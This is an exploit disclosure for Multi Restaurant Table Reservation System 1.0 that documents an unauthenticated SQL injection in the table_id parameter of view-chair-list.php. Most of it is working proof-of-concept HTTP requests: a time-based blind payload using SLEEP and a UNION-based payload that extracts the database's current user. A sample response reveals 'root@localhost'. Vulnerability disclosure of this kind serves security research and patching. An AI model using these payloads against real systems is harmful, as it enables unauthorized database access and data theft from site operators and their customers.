Multi Restaurant Table Reservation System 1.0 - 'table_id' Unauthenticated SQL Injection

# Title: Multi Restaurant Table Reservation System 1.0 - 'table_id' Unauthenticated SQL Injection
# Exploit Author: yunaranyancat
# Date: 02-11-2020
# Vendor Homepage: www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip
# Version: 1.0
# Tested On: Ubuntu 18.04 + XAMPP

# Description

The file view-chair-list.php does not perform input validation on the table_id parameter which allows unauthenticated SQL Injection.
An attacker can send malicious input in the GET request to /dashboard/view-chair-list.php?table_id= to trigger the vulnerability.

# POC N°1 = Time based blind SQLi

GET /TableReservation/dashboard/view-chair-list.php?table_id='+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)--+- HTTP/1.1
Host: [TARGET IP/URL]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

### Server will sleep for 10 seconds before returning the response

# POC N° 2 = UNION based SQLi

### Request (getting current user)

GET /TableReservation/dashboard/view-chair-list.php?table_id=%27%20UNION%20ALL%20SELECT%20CONCAT%280x7176787071%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x71716b7071%29%2CNULL%2CNULL--%20- HTTP/1.1
Host: [TARGET IP/URL]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 2

### Response

...
<td class="center hidden-phone">
<a href="delete-chair.php?chair_id=[REDACTED]root@localhost[REDACTED] class="btn btn-danger"  onclick="if (!Done()) return false; ">Delete Chair</a>
...